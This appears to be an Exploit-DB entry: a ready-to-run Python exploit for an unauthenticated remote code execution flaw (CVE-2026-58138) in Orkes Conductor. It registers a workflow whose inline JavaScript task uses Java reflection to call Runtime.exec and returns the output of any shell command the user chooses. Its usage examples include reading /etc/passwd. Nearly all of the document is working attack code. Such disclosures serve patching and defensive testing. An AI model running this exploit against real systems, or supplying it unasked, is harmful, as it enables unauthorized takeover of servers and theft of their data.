OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution

EDB-ID:

52633


Author:

banyamer

Type:

webapps


Platform:

Multiple

Date:

2026-08-10


#!/usr/bin/env python3
# Exploit Title:        OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution
# CVE:                  CVE-2026-58138
# Date:                 2026-07-10
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://orkes.io/
# Software Link:        https://github.com/conductor-oss/conductor
# Affected:             Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2
# Tested on:            conductoross/conductor:3.22.3
# Category:             Remote Code Execution
# Platform:             Linux
# Exploit Type:         Unauthenticated RCE
# CVSS:                 9.8
# Description:          Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec.
# Fixed in:             3.30.2
# Usage:
#   python3 exploit.py <target> [-c CMD]
#
# Examples:
#   python3 exploit.py http://127.0.0.1:8080
#   python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd"
#
# Options:
#   target          Conductor API base URL (e.g. http://127.0.0.1:8080)
#   -c, --cmd       Command to execute (default: id; hostname)
#
# Notes:
#   • Requires no authentication (default community API behavior).
#   • Runs as the Conductor process user (often root in Docker).
#   • Pure Python stdlib - no extra dependencies.

import argparse
import json
import sys
import time
import urllib.request


def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")


def js_rce(cmd):
    c = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "var k=$.getClass().getClass();"
        "var S=k.getMethod('getName').getReturnType();"
        "var forName=k.getMethod('forName',S);"
        "var L=function(n){return forName.invoke(null,[n]);};"
        "var RT=L('java.lang.Runtime');"
        "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
        "var I=L('java.lang.Integer').getField('TYPE').get(null);"
        "var A=L('java.lang.reflect.Array');"
        "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
        "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
        f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
        "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
        "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
        "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
        "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
    )


def call(base, path, data=None, method=None):
    url = base.rstrip("/") + path
    body = json.dumps(data).encode() if data is not None else None
    req = urllib.request.Request(
        url, 
        data=body, 
        method=method or ("POST" if data is not None else "GET"),
        headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"}
    )
    with urllib.request.urlopen(req, timeout=30) as r:
        raw = r.read().decode()
        try:
            return r.status, json.loads(raw)
        except Exception:
            return r.status, raw


def main():
    banner()
    ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE")
    ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host")
    args = ap.parse_args()

    wf = "pwn_" + str(int(time.time()))
    wfdef = {
        "name": wf, 
        "version": 1, 
        "schemaVersion": 2, 
        "ownerEmail": "poc@example.com",
        "tasks": [{
            "name": "pwn", 
            "taskReferenceName": "pwn", 
            "type": "INLINE",
            "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)},
        }],
    }

    print(f"[*] Target: {args.target}  cmd={args.cmd!r}")
    print("[*] Registering workflow with malicious INLINE task ... (no auth)")
    
    call(args.target, "/api/metadata/workflow", wfdef)
    st, wid = call(args.target, f"/api/workflow/{wf}", {})
    wid = wid if isinstance(wid, str) else str(wid)
    
    print(f"[*] Started workflow id={wid}; fetching output ...")
    time.sleep(2)
    
    st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true")
    
    out = None
    for t in (info.get("tasks") or []):
        if t.get("taskType") == "INLINE":
            out = (t.get("outputData") or {}).get("result")
    
    if out:
        print("\n[+] RCE SUCCESS - Command output:")
        print(str(out).strip())
    else:
        print("[!] No output captured. Workflow status:", info.get("status"))


if __name__ == "__main__":
    sys.exit(main() or 0)